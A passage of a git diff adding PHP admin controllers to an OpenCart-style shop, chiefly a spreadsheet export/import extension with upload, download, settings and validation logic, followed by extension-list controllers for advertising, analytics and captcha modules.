+ return $this->load->view('extension/dashboard/sale_info', $data);
+ }
+}
diff --git a/public/admin/controller/extension/export_import.php b/public/admin/controller/extension/export_import.php
new file mode 100644
index 0000000..99da682
--- /dev/null
+++ b/public/admin/controller/extension/export_import.php
@@ -0,0 +1,570 @@
+ssl = true;
+ }
+
+
+ public function index() {
+ $this->load->language('extension/export_import');
+ $this->document->setTitle($this->language->get('heading_title'));
+ $this->load->model('extension/export_import');
+ $this->getForm();
+ }
+
+
+ public function upload() {
+ $this->load->language('extension/export_import');
+ $this->document->setTitle($this->language->get('heading_title'));
+ $this->load->model('extension/export_import');
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && ($this->validateUploadForm())) {
+ if ((isset( $this->request->files['upload'] )) && (is_uploaded_file($this->request->files['upload']['tmp_name']))) {
+ $file = $this->request->files['upload']['tmp_name'];
+ $incremental = ($this->request->post['incremental']) ? true : false;
+ if ($this->model_extension_export_import->upload($file,$this->request->post['incremental'])==true) {
+ $this->session->data['success'] = $this->language->get('text_success');
+ $this->response->redirect($this->url->link('extension/export_import', 'user_token=' . $this->session->data['user_token'], $this->ssl));
+ }
+ else {
+ $this->session->data['warning'] = $this->language->get('error_upload');
+ $href = $this->url->link( 'tool/log', 'user_token='.$this->session->data['user_token'], $this->ssl );
+ $this->session->data['warning'] .= "
\n".str_replace('%1',$href,$this->language->get( 'text_log_details_3_x' ));
+ $this->response->redirect($this->url->link('extension/export_import', 'user_token=' . $this->session->data['user_token'], $this->ssl));
+ }
+ }
+ }
+
+ $this->getForm();
+ }
+
+
+ protected function return_bytes($val)
+ {
+ $val = trim($val);
+
+ switch (strtolower(substr($val, -1)))
+ {
+ case 'm': $val = (int)substr($val, 0, -1) * 1048576; break;
+ case 'k': $val = (int)substr($val, 0, -1) * 1024; break;
+ case 'g': $val = (int)substr($val, 0, -1) * 1073741824; break;
+ case 'b':
+ switch (strtolower(substr($val, -2, 1)))
+ {
+ case 'm': $val = (int)substr($val, 0, -2) * 1048576; break;
+ case 'k': $val = (int)substr($val, 0, -2) * 1024; break;
+ case 'g': $val = (int)substr($val, 0, -2) * 1073741824; break;
+ default : break;
+ } break;
+ default: break;
+ }
+ return $val;
+ }
+
+
+ public function download() {
+ $this->load->language( 'extension/export_import' );
+ $this->document->setTitle($this->language->get('heading_title'));
+ $this->load->model( 'extension/export_import' );
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateDownloadForm()) {
+ $export_type = $this->request->post['export_type'];
+ switch ($export_type) {
+ case 'c':
+ case 'p':
+ case 'u':
+ $min = null;
+ if (isset( $this->request->post['min'] ) && ($this->request->post['min']!='')) {
+ $min = $this->request->post['min'];
+ }
+ $max = null;
+ if (isset( $this->request->post['max'] ) && ($this->request->post['max']!='')) {
+ $max = $this->request->post['max'];
+ }
+ if (($min==null) || ($max==null)) {
+ $this->model_extension_export_import->download($export_type, null, null, null, null);
+ } else if ($this->request->post['range_type'] == 'id') {
+ $this->model_extension_export_import->download($export_type, null, null, $min, $max);
+ } else {
+ $this->model_extension_export_import->download($export_type, $min*($max-1-1), $min, null, null);
+ }
+ break;
+ case 'o':
+ $this->model_extension_export_import->download('o', null, null, null, null);
+ break;
+ case 'a':
+ $this->model_extension_export_import->download('a', null, null, null, null);
+ break;
+ case 'f':
+ if ($this->model_extension_export_import->existFilter()) {
+ $this->model_extension_export_import->download('f', null, null, null, null);
+ break;
+ }
+ break;
+ default:
+ break;
+ }
+ $this->response->redirect( $this->url->link( 'extension/export_import', 'user_token='.$this->request->get['user_token'], $this->ssl) );
+ }
+
+ $this->getForm();
+ }
+
+
+ public function settings() {
+ $this->load->language('extension/export_import');
+ $this->document->setTitle($this->language->get('heading_title'));
+ $this->load->model('extension/export_import');
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && ($this->validateSettingsForm())) {
+ $this->load->model('setting/setting');
+ $this->model_setting_setting->editSetting('export_import', $this->request->post);
+ $this->session->data['success'] = $this->language->get('text_success_settings');
+ $this->response->redirect($this->url->link('extension/export_import', 'user_token=' . $this->session->data['user_token'], $this->ssl));
+ }
+ $this->getForm();
+ }
+
+
+ protected function getForm() {
+ $data = array();
+ $data['heading_title'] = $this->language->get('heading_title');
+
+ $data['exist_filter'] = $this->model_extension_export_import->existFilter();
+
+ $data['text_export_type_category'] = ($data['exist_filter']) ? $this->language->get('text_export_type_category') : $this->language->get('text_export_type_category_old');
+ $data['text_export_type_product'] = ($data['exist_filter']) ? $this->language->get('text_export_type_product') : $this->language->get('text_export_type_product_old');
+ $data['text_export_type_poa'] = $this->language->get('text_export_type_poa');
+ $data['text_export_type_option'] = $this->language->get('text_export_type_option');
+ $data['text_export_type_attribute'] = $this->language->get('text_export_type_attribute');
+ $data['text_export_type_filter'] = $this->language->get('text_export_type_filter');
+ $data['text_export_type_customer'] = $this->language->get('text_export_type_customer');
+ $data['text_yes'] = $this->language->get('text_yes');
+ $data['text_no'] = $this->language->get('text_no');
+ $data['text_loading_notifications'] = $this->language->get( 'text_loading_notifications' );
+ $data['text_retry'] = $this->language->get('text_retry');
+ $data['text_license'] = $this->language->get('text_license');
+
+ $data['entry_export'] = $this->language->get( 'entry_export' );
+ $data['entry_import'] = $this->language->get( 'entry_import' );
+ $data['entry_export_type'] = $this->language->get( 'entry_export_type' );
+ $data['entry_range_type'] = $this->language->get( 'entry_range_type' );
+ $data['entry_category_filter'] = $this->language->get( 'entry_category_filter' );
+ $data['entry_category'] = $this->language->get( 'entry_category' );
+ $data['entry_start_id'] = $this->language->get( 'entry_start_id' );
+ $data['entry_start_index'] = $this->language->get( 'entry_start_index' );
+ $data['entry_end_id'] = $this->language->get( 'entry_end_id' );
+ $data['entry_end_index'] = $this->language->get( 'entry_end_index' );
+ $data['entry_incremental'] = $this->language->get( 'entry_incremental' );
+ $data['entry_upload'] = $this->language->get( 'entry_upload' );
+ $data['entry_settings_use_option_id'] = $this->language->get( 'entry_settings_use_option_id' );
+ $data['entry_settings_use_option_value_id'] = $this->language->get( 'entry_settings_use_option_value_id' );
+ $data['entry_settings_use_attribute_group_id'] = $this->language->get( 'entry_settings_use_attribute_group_id' );
+ $data['entry_settings_use_attribute_id'] = $this->language->get( 'entry_settings_use_attribute_id' );
+ $data['entry_settings_use_filter_group_id'] = $this->language->get( 'entry_settings_use_filter_group_id' );
+ $data['entry_settings_use_filter_id'] = $this->language->get( 'entry_settings_use_filter_id' );
+ $data['entry_version'] = $this->language->get('entry_version');
+ $data['entry_oc_version'] = $this->language->get('entry_oc_version');
+ $data['entry_license'] = $this->language->get('entry_license');
+
+ $data['tab_export'] = $this->language->get( 'tab_export' );
+ $data['tab_import'] = $this->language->get( 'tab_import' );
+ $data['tab_settings'] = $this->language->get( 'tab_settings' );
+ $data['tab_support'] = $this->language->get( 'tab_support' );
+
+ $data['button_export'] = $this->language->get( 'button_export' );
+ $data['button_import'] = $this->language->get( 'button_import' );
+ $data['button_settings'] = $this->language->get( 'button_settings' );
+ $data['button_export_id'] = $this->language->get( 'button_export_id' );
+ $data['button_export_page'] = $this->language->get( 'button_export_page' );
+
+ $data['help_range_type'] = $this->language->get( 'help_range_type' );
+ $data['help_category_filter'] = $this->language->get( 'help_category_filter' );
+ $data['help_incremental_yes'] = $this->language->get( 'help_incremental_yes' );
+ $data['help_incremental_no'] = $this->language->get( 'help_incremental_no' );
+ $data['help_import'] = ($data['exist_filter']) ? $this->language->get( 'help_import' ) : $this->language->get( 'help_import_old' );
+ $data['help_format'] = $this->language->get( 'help_format' );
+
+ $data['error_select_file'] = $this->language->get('error_select_file');
+ $data['error_post_max_size'] = str_replace( '%1', ini_get('post_max_size'), $this->language->get('error_post_max_size') );
+ $data['error_upload_max_filesize'] = str_replace( '%1', ini_get('upload_max_filesize'), $this->language->get('error_upload_max_filesize') );
+ $data['error_id_no_data'] = $this->language->get('error_id_no_data');
+ $data['error_page_no_data'] = $this->language->get('error_page_no_data');
+ $data['error_param_not_number'] = $this->language->get('error_param_not_number');
+ $data['error_notifications'] = $this->language->get('error_notifications');
+ $data['error_no_news'] = $this->language->get('error_no_news');
+ $data['error_batch_number'] = $this->language->get('error_batch_number');
+ $data['error_min_item_id'] = $this->language->get('error_min_item_id');
+
+ if (!empty($this->session->data['export_import_error']['errstr'])) {
+ $this->error['warning'] = $this->session->data['export_import_error']['errstr'];
+ } else if (isset($this->session->data['warning'])) {
+ $this->error['warning'] = $this->session->data['warning'];
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ if (!empty($this->session->data['export_import_nochange'])) {
+ $data['error_warning'] .= "
\n".$this->language->get( 'text_nochange' );
+ }
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ unset($this->session->data['warning']);
+ unset($this->session->data['export_import_error']);
+ unset($this->session->data['export_import_nochange']);
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], $this->ssl)
+ );
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/export_import', 'user_token=' . $this->session->data['user_token'], $this->ssl)
+ );
+
+ $data['back'] = $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], $this->ssl);
+ $data['button_back'] = $this->language->get( 'button_back' );
+ $data['import'] = $this->url->link('extension/export_import/upload', 'user_token=' . $this->session->data['user_token'], $this->ssl);
+ $data['export'] = $this->url->link('extension/export_import/download', 'user_token=' . $this->session->data['user_token'], $this->ssl);
+ $data['settings'] = $this->url->link('extension/export_import/settings', 'user_token=' . $this->session->data['user_token'], $this->ssl);
+ $data['post_max_size'] = $this->return_bytes( ini_get('post_max_size') );
+ $data['upload_max_filesize'] = $this->return_bytes( ini_get('upload_max_filesize') );
+
+ if (isset($this->request->post['export_type'])) {
+ $data['export_type'] = $this->request->post['export_type'];
+ } else {
+ $data['export_type'] = 'p';
+ }
+
+ if (isset($this->request->post['range_type'])) {
+ $data['range_type'] = $this->request->post['range_type'];
+ } else {
+ $data['range_type'] = 'id';
+ }
+
+ if (isset($this->request->post['min'])) {
+ $data['min'] = $this->request->post['min'];
+ } else {
+ $data['min'] = '';
+ }
+
+ if (isset($this->request->post['max'])) {
+ $data['max'] = $this->request->post['max'];
+ } else {
+ $data['max'] = '';
+ }
+
+ if (isset($this->request->post['incremental'])) {
+ $data['incremental'] = $this->request->post['incremental'];
+ } else {
+ $data['incremental'] = '1';
+ }
+
+ if (isset($this->request->post['export_import_settings_use_option_id'])) {
+ $data['settings_use_option_id'] = $this->request->post['export_import_settings_use_option_id'];
+ } else if ($this->config->get( 'export_import_settings_use_option_id' )) {
+ $data['settings_use_option_id'] = '1';
+ } else {
+ $data['settings_use_option_id'] = '0';
+ }
+
+ if (isset($this->request->post['export_import_settings_use_option_value_id'])) {
+ $data['settings_use_option_value_id'] = $this->request->post['export_import_settings_use_option_value_id'];
+ } else if ($this->config->get( 'export_import_settings_use_option_value_id' )) {
+ $data['settings_use_option_value_id'] = '1';
+ } else {
+ $data['settings_use_option_value_id'] = '0';
+ }
+
+ if (isset($this->request->post['export_import_settings_use_attribute_group_id'])) {
+ $data['settings_use_attribute_group_id'] = $this->request->post['export_import_settings_use_attribute_group_id'];
+ } else if ($this->config->get( 'export_import_settings_use_attribute_group_id' )) {
+ $data['settings_use_attribute_group_id'] = '1';
+ } else {
+ $data['settings_use_attribute_group_id'] = '0';
+ }
+
+ if (isset($this->request->post['export_import_settings_use_attribute_id'])) {
+ $data['settings_use_attribute_id'] = $this->request->post['export_import_settings_use_attribute_id'];
+ } else if ($this->config->get( 'export_import_settings_use_attribute_id' )) {
+ $data['settings_use_attribute_id'] = '1';
+ } else {
+ $data['settings_use_attribute_id'] = '0';
+ }
+
+ if (isset($this->request->post['export_import_settings_use_filter_group_id'])) {
+ $data['settings_use_filter_group_id'] = $this->request->post['export_import_settings_use_filter_group_id'];
+ } else if ($this->config->get( 'export_import_settings_use_filter_group_id' )) {
+ $data['settings_use_filter_group_id'] = '1';
+ } else {
+ $data['settings_use_filter_group_id'] = '0';
+ }
+
+ if (isset($this->request->post['export_import_settings_use_filter_id'])) {
+ $data['settings_use_filter_id'] = $this->request->post['export_import_settings_use_filter_id'];
+ } else if ($this->config->get( 'export_import_settings_use_filter_id' )) {
+ $data['settings_use_filter_id'] = '1';
+ } else {
+ $data['settings_use_filter_id'] = '0';
+ }
+
+ $data['categories'] = array();
+ $data['manufacturers'] = array();
+
+ $min_product_id = $this->model_extension_export_import->getMinProductId();
+ $max_product_id = $this->model_extension_export_import->getMaxProductId();
+ $count_product = $this->model_extension_export_import->getCountProduct();
+ $min_category_id = $this->model_extension_export_import->getMinCategoryId();
+ $max_category_id = $this->model_extension_export_import->getMaxCategoryId();
+ $count_category = $this->model_extension_export_import->getCountCategory();
+ $min_customer_id = $this->model_extension_export_import->getMinCustomerId();
+ $max_customer_id = $this->model_extension_export_import->getMaxCustomerId();
+ $count_customer = $this->model_extension_export_import->getCountCustomer();
+
+ $data['text_welcome'] = str_replace('%1',$this->model_extension_export_import->getVersion(),$this->language->get('text_welcome'));
+ $data['text_used_category_ids'] = $this->language->get('text_used_category_ids');
+ $data['text_used_category_ids'] = str_replace('%1',$min_category_id,$data['text_used_category_ids']);
+ $data['text_used_category_ids'] = str_replace('%2',$max_category_id,$data['text_used_category_ids']);
+ $data['text_used_product_ids'] = $this->language->get('text_used_product_ids');
+ $data['text_used_product_ids'] = str_replace('%1',$min_product_id,$data['text_used_product_ids']);
+ $data['text_used_product_ids'] = str_replace('%2',$max_product_id,$data['text_used_product_ids']);
+
+ $data['version_export_import'] = $this->model_extension_export_import->getVersion();
+ $data['version_opencart'] = VERSION;
+
+ $data['min_product_id'] = $min_product_id;
+ $data['max_product_id'] = $max_product_id;
+ $data['count_product'] = $count_product;
+ $data['min_category_id'] = $min_category_id;
+ $data['max_category_id'] = $max_category_id;
+ $data['count_category'] = $count_category;
+ $data['min_customer_id'] = $min_customer_id;
+ $data['max_customer_id'] = $max_customer_id;
+ $data['count_customer'] = $count_customer;
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ $this->document->addStyle('view/stylesheet/export_import.css');
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view( 'extension/export_import', $data));
+ }
+
+
+ protected function validateDownloadForm() {
+ if (!$this->user->hasPermission('access', 'extension/export_import')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ return false;
+ }
+
+ if (!$this->config->get( 'export_import_settings_use_option_id' )) {
+ $option_names = $this->model_extension_export_import->getOptionNameCounts();
+ foreach ($option_names as $option_name) {
+ if ($option_name['count'] > 1) {
+ $this->error['warning'] = str_replace( '%1', $option_name['name'], $this->language->get( 'error_option_name' ) );
+ return false;
+ }
+ }
+ }
+
+ if (!$this->config->get( 'export_import_settings_use_option_value_id' )) {
+ $option_value_names = $this->model_extension_export_import->getOptionValueNameCounts();
+ foreach ($option_value_names as $option_value_name) {
+ if ($option_value_name['count'] > 1) {
+ $this->error['warning'] = str_replace( '%1', $option_value_name['name'], $this->language->get( 'error_option_value_name' ) );
+ return false;
+ }
+ }
+ }
+
+ if (!$this->config->get( 'export_import_settings_use_attribute_group_id' )) {
+ $attribute_group_names = $this->model_extension_export_import->getAttributeGroupNameCounts();
+ foreach ($attribute_group_names as $attribute_group_name) {
+ if ($attribute_group_name['count'] > 1) {
+ $this->error['warning'] = str_replace( '%1', $attribute_group_name['name'], $this->language->get( 'error_attribute_group_name' ) );
+ return false;
+ }
+ }
+ }
+
+ if (!$this->config->get( 'export_import_settings_use_attribute_id' )) {
+ $attribute_names = $this->model_extension_export_import->getAttributeNameCounts();
+ foreach ($attribute_names as $attribute_name) {
+ if ($attribute_name['count'] > 1) {
+ $this->error['warning'] = str_replace( '%1', $attribute_name['name'], $this->language->get( 'error_attribute_name' ) );
+ return false;
+ }
+ }
+ }
+
+ if (!$this->config->get( 'export_import_settings_use_filter_group_id' )) {
+ $filter_group_names = $this->model_extension_export_import->getFilterGroupNameCounts();
+ foreach ($filter_group_names as $filter_group_name) {
+ if ($filter_group_name['count'] > 1) {
+ $this->error['warning'] = str_replace( '%1', $filter_group_name['name'], $this->language->get( 'error_filter_group_name' ) );
+ return false;
+ }
+ }
+ }
+
+ if (!$this->config->get( 'export_import_settings_use_filter_id' )) {
+ $filter_names = $this->model_extension_export_import->getFilterNameCounts();
+ foreach ($filter_names as $filter_name) {
+ if ($filter_name['count'] > 1) {
+ $this->error['warning'] = str_replace( '%1', $filter_name['name'], $this->language->get( 'error_filter_name' ) );
+ return false;
+ }
+ }
+ }
+
+ return true;
+ }
+
+
+ protected function validateUploadForm() {
+ if (!$this->user->hasPermission('modify', 'extension/export_import')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ } else if (!isset( $this->request->post['incremental'] )) {
+ $this->error['warning'] = $this->language->get( 'error_incremental' );
+ } else if ($this->request->post['incremental'] != '0') {
+ if ($this->request->post['incremental'] != '1') {
+ $this->error['warning'] = $this->language->get( 'error_incremental' );
+ }
+ }
+
+ if (!isset($this->request->files['upload']['name'])) {
+ if (isset($this->error['warning'])) {
+ $this->error['warning'] .= "
language->get( 'error_upload_name' );
+ } else {
+ $this->error['warning'] = $this->language->get( 'error_upload_name' );
+ }
+ } else {
+ $ext = strtolower(pathinfo($this->request->files['upload']['name'], PATHINFO_EXTENSION));
+ if (($ext != 'xls') && ($ext != 'xlsx') && ($ext != 'ods')) {
+ if (isset($this->error['warning'])) {
+ $this->error['warning'] .= "
language->get( 'error_upload_ext' );
+ } else {
+ $this->error['warning'] = $this->language->get( 'error_upload_ext' );
+ }
+ }
+ }
+
+ if (!$this->error) {
+ return true;
+ } else {
+ return false;
+ }
+ }
+
+
+ protected function validateSettingsForm() {
+ if (!$this->user->hasPermission('access', 'extension/export_import')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ return false;
+ }
+
+ if (empty($this->request->post['export_import_settings_use_option_id'])) {
+ $option_names = $this->model_extension_export_import->getOptionNameCounts();
+ foreach ($option_names as $option_name) {
+ if ($option_name['count'] > 1) {
+ $this->error['warning'] = str_replace( '%1', $option_name['name'], $this->language->get( 'error_option_name' ) );
+ return false;
+ }
+ }
+ }
+
+ if (empty($this->request->post['export_import_settings_use_option_value_id'])) {
+ $option_value_names = $this->model_extension_export_import->getOptionValueNameCounts();
+ foreach ($option_value_names as $option_value_name) {
+ if ($option_value_name['count'] > 1) {
+ $this->error['warning'] = str_replace( '%1', $option_value_name['name'], $this->language->get( 'error_option_value_name' ) );
+ return false;
+ }
+ }
+ }
+
+ if (empty($this->request->post['export_import_settings_use_attribute_group_id'])) {
+ $attribute_group_names = $this->model_extension_export_import->getAttributeGroupNameCounts();
+ foreach ($attribute_group_names as $attribute_group_name) {
+ if ($attribute_group_name['count'] > 1) {
+ $this->error['warning'] = str_replace( '%1', $attribute_group_name['name'], $this->language->get( 'error_attribute_group_name' ) );
+ return false;
+ }
+ }
+ }
+
+ if (empty($this->request->post['export_import_settings_use_attribute_id'])) {
+ $attribute_names = $this->model_extension_export_import->getAttributeNameCounts();
+ foreach ($attribute_names as $attribute_name) {
+ if ($attribute_name['count'] > 1) {
+ $this->error['warning'] = str_replace( '%1', $attribute_name['name'], $this->language->get( 'error_attribute_name' ) );
+ return false;
+ }
+ }
+ }
+
+ if (empty($this->request->post['export_import_settings_use_filter_group_id'])) {
+ $filter_group_names = $this->model_extension_export_import->getFilterGroupNameCounts();
+ foreach ($filter_group_names as $filter_group_name) {
+ if ($filter_group_name['count'] > 1) {
+ $this->error['warning'] = str_replace( '%1', $filter_group_name['name'], $this->language->get( 'error_filter_group_name' ) );
+ return false;
+ }
+ }
+ }
+
+ if (empty($this->request->post['export_import_settings_use_filter_id'])) {
+ $filter_names = $this->model_extension_export_import->getFilterNameCounts();
+ foreach ($filter_names as $filter_name) {
+ if ($filter_name['count'] > 1) {
+ $this->error['warning'] = str_replace( '%1', $filter_name['name'], $this->language->get( 'error_filter_name' ) );
+ return false;
+ }
+ }
+ }
+
+ return true;
+ }
+
+
+ public function getNotifications() {
+ sleep(1); // give the data some "feel" that its not in our system
+ $this->load->model('extension/export_import');
+ $this->load->language( 'extension/export_import' );
+ $response = $this->model_extension_export_import->getNotifications();
+ $json = array();
+ if ($response===false) {
+ $json['message'] = '';
+ $json['error'] = $this->language->get( 'error_notifications' );
+ } else {
+ $json['message'] = $response;
+ $json['error'] = '';
+ }
+ $this->response->setOutput(json_encode($json));
+ }
+
+
+ public function getCountProduct() {
+ $this->load->model('extension/export_import');
+ $count = $this->model_extension_export_import->getCountProduct();
+ $json = array( 'count'=>$count );
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+}
+?>
diff --git a/public/admin/controller/extension/extension/advertise.php b/public/admin/controller/extension/extension/advertise.php
new file mode 100644
index 0000000..0d8689e
--- /dev/null
+++ b/public/admin/controller/extension/extension/advertise.php
@@ -0,0 +1,134 @@
+load->language('extension/extension/advertise');
+
+ $this->load->model('setting/extension');
+
+ $this->getList();
+ }
+
+ public function install() {
+ $this->load->language('extension/extension/advertise');
+
+ $this->load->model('setting/extension');
+
+ if ($this->validate()) {
+ $this->model_setting_extension->install('advertise', $this->request->get['extension']);
+
+ $this->load->model('user/user_group');
+
+ $this->model_user_user_group->addPermission($this->user->getGroupId(), 'access', 'extension/advertise/' . $this->request->get['extension']);
+ $this->model_user_user_group->addPermission($this->user->getGroupId(), 'modify', 'extension/advertise/' . $this->request->get['extension']);
+
+ // Compatibility
+ $this->model_user_user_group->addPermission($this->user->getGroupId(), 'access', 'advertise/' . $this->request->get['extension']);
+ $this->model_user_user_group->addPermission($this->user->getGroupId(), 'modify', 'advertise/' . $this->request->get['extension']);
+
+ // Call install method if it exsits
+ $this->load->controller('extension/advertise/' . $this->request->get['extension'] . '/install');
+
+ $this->session->data['success'] = $this->language->get('text_success');
+ }
+
+ $this->getList();
+ }
+
+ public function uninstall() {
+ $this->load->language('extension/extension/advertise');
+
+ $this->load->model('setting/extension');
+
+ if ($this->validate()) {
+ $this->model_setting_extension->uninstall('advertise', $this->request->get['extension']);
+
+ // Call uninstall method if it exsits
+ $this->load->controller('extension/advertise/' . $this->request->get['extension'] . '/uninstall');
+
+ $this->session->data['success'] = $this->language->get('text_success');
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ $extensions = $this->model_setting_extension->getInstalled('advertise');
+
+ foreach ($extensions as $key => $value) {
+ if (!is_file(DIR_APPLICATION . 'controller/extension/advertise/' . $value . '.php') && !is_file(DIR_APPLICATION . 'controller/advertise/' . $value . '.php')) {
+ $this->model_setting_extension->uninstall('advertise', $value);
+
+ unset($extensions[$key]);
+ }
+ }
+
+ $this->load->model('setting/store');
+ $this->load->model('setting/setting');
+
+ $stores = $this->model_setting_store->getStores();
+
+ $data['extensions'] = array();
+
+ // Compatibility code for old extension folders
+ $files = glob(DIR_APPLICATION . 'controller/extension/advertise/*.php');
+
+ if ($files) {
+ foreach ($files as $file) {
+ $extension = basename($file, '.php');
+
+ // Compatibility code for old extension folders
+ $this->load->language('extension/advertise/' . $extension, 'extension');
+
+ $store_data = array();
+
+ $store_data[] = array(
+ 'name' => $this->config->get('config_name'),
+ 'edit' => $this->url->link('extension/advertise/' . $extension, 'user_token=' . $this->session->data['user_token'] . '&store_id=0', true),
+ 'status' => $this->config->get('advertise_' . $extension . '_status') ? $this->language->get('text_enabled') : $this->language->get('text_disabled')
+ );
+
+ foreach ($stores as $store) {
+ $store_data[] = array(
+ 'name' => $store['name'],
+ 'edit' => $this->url->link('extension/advertise/' . $extension, 'user_token=' . $this->session->data['user_token'] . '&store_id=' . $store['store_id'], true),
+ 'status' => $this->model_setting_setting->getSettingValue('advertise_' . $extension . '_status', $store['store_id']) ? $this->language->get('text_enabled') : $this->language->get('text_disabled')
+ );
+ }
+
+ $data['extensions'][] = array(
+ 'name' => $this->language->get('extension')->get('heading_title'),
+ 'install' => $this->url->link('extension/extension/advertise/install', 'user_token=' . $this->session->data['user_token'] . '&extension=' . $extension, true),
+ 'uninstall' => $this->url->link('extension/extension/advertise/uninstall', 'user_token=' . $this->session->data['user_token'] . '&extension=' . $extension, true),
+ 'installed' => in_array($extension, $extensions),
+ 'store' => $store_data
+ );
+ }
+ }
+
+ $this->response->setOutput($this->load->view('extension/extension/advertise', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/extension/advertise')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+}
diff --git a/public/admin/controller/extension/extension/analytics.php b/public/admin/controller/extension/extension/analytics.php
new file mode 100644
index 0000000..f3e9018
--- /dev/null
+++ b/public/admin/controller/extension/extension/analytics.php
@@ -0,0 +1,136 @@
+load->language('extension/extension/analytics');
+
+ $this->load->model('setting/extension');
+
+ $this->getList();
+ }
+
+ public function install() {
+ $this->load->language('extension/extension/analytics');
+
+ $this->load->model('setting/extension');
+
+ if ($this->validate()) {
+ $this->model_setting_extension->install('analytics', $this->request->get['extension']);
+
+ $this->load->model('user/user_group');
+
+ $this->model_user_user_group->addPermission($this->user->getGroupId(), 'access', 'extension/analytics/' . $this->request->get['extension']);
+ $this->model_user_user_group->addPermission($this->user->getGroupId(), 'modify', 'extension/analytics/' . $this->request->get['extension']);
+
+ // Compatibility
+ $this->model_user_user_group->addPermission($this->user->getGroupId(), 'access', 'analytics/' . $this->request->get['extension']);
+ $this->model_user_user_group->addPermission($this->user->getGroupId(), 'modify', 'analytics/' . $this->request->get['extension']);
+
+ // Call install method if it exsits
+ $this->load->controller('extension/analytics/' . $this->request->get['extension'] . '/install');
+
+ $this->session->data['success'] = $this->language->get('text_success');
+ }
+
+ $this->getList();
+ }
+
+ public function uninstall() {
+ $this->load->language('extension/extension/analytics');
+
+ $this->load->model('setting/extension');
+
+ if ($this->validate()) {
+ $this->model_setting_extension->uninstall('analytics', $this->request->get['extension']);
+
+ // Call uninstall method if it exsits
+ $this->load->controller('extension/analytics/' . $this->request->get['extension'] . '/uninstall');
+
+ $this->session->data['success'] = $this->language->get('text_success');
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ $extensions = $this->model_setting_extension->getInstalled('analytics');
+
+ foreach ($extensions as $key => $value) {
+ if (!is_file(DIR_APPLICATION . 'controller/extension/analytics/' . $value . '.php') && !is_file(DIR_APPLICATION . 'controller/analytics/' . $value . '.php')) {
+ $this->model_setting_extension->uninstall('analytics', $value);
+
+ unset($extensions[$key]);
+ }
+ }
+
+ $this->load->model('setting/store');
+ $this->load->model('setting/setting');
+
+ $stores = $this->model_setting_store->getStores();
+
+ $data['extensions'] = array();
+
+ // Compatibility code for old extension folders
+ $files = glob(DIR_APPLICATION . 'controller/extension/analytics/*.php');
+
+ if ($files) {
+ foreach ($files as $file) {
+ $extension = basename($file, '.php');
+
+ // Compatibility code for old extension folders
+ $this->load->language('extension/analytics/' . $extension, 'extension');
+
+ $store_data = array();
+
+ $store_data[] = array(
+ 'name' => $this->config->get('config_name'),
+ 'edit' => $this->url->link('extension/analytics/' . $extension, 'user_token=' . $this->session->data['user_token'] . '&store_id=0', true),
+ 'status' => $this->config->get('analytics_' . $extension . '_status') ? $this->language->get('text_enabled') : $this->language->get('text_disabled')
+ );
+
+ foreach ($stores as $store) {
+ $store_data[] = array(
+ 'name' => $store['name'],
+ 'edit' => $this->url->link('extension/analytics/' . $extension, 'user_token=' . $this->session->data['user_token'] . '&store_id=' . $store['store_id'], true),
+ 'status' => $this->model_setting_setting->getSettingValue('analytics_' . $extension . '_status', $store['store_id']) ? $this->language->get('text_enabled') : $this->language->get('text_disabled')
+ );
+ }
+
+ $data['extensions'][] = array(
+ 'name' => $this->language->get('extension')->get('heading_title'),
+ 'install' => $this->url->link('extension/extension/analytics/install', 'user_token=' . $this->session->data['user_token'] . '&extension=' . $extension, true),
+ 'uninstall' => $this->url->link('extension/extension/analytics/uninstall', 'user_token=' . $this->session->data['user_token'] . '&extension=' . $extension, true),
+ 'installed' => in_array($extension, $extensions),
+ 'store' => $store_data
+ );
+ }
+ }
+
+ $data['promotion'] = $this->load->controller('marketplace/promotion');
+
+ $this->response->setOutput($this->load->view('extension/extension/analytics', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/extension/analytics')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+}
diff --git a/public/admin/controller/extension/extension/captcha.php b/public/admin/controller/extension/extension/captcha.php
new file mode 100644
index 0000000..74b8d29
--- /dev/null
+++ b/public/admin/controller/extension/extension/captcha.php
@@ -0,0 +1,126 @@
+load->language('extension/extension/captcha');
+
+ $this->load->model('setting/extension');
+
+ $this->getList();
+ }
+
+ public function install() {
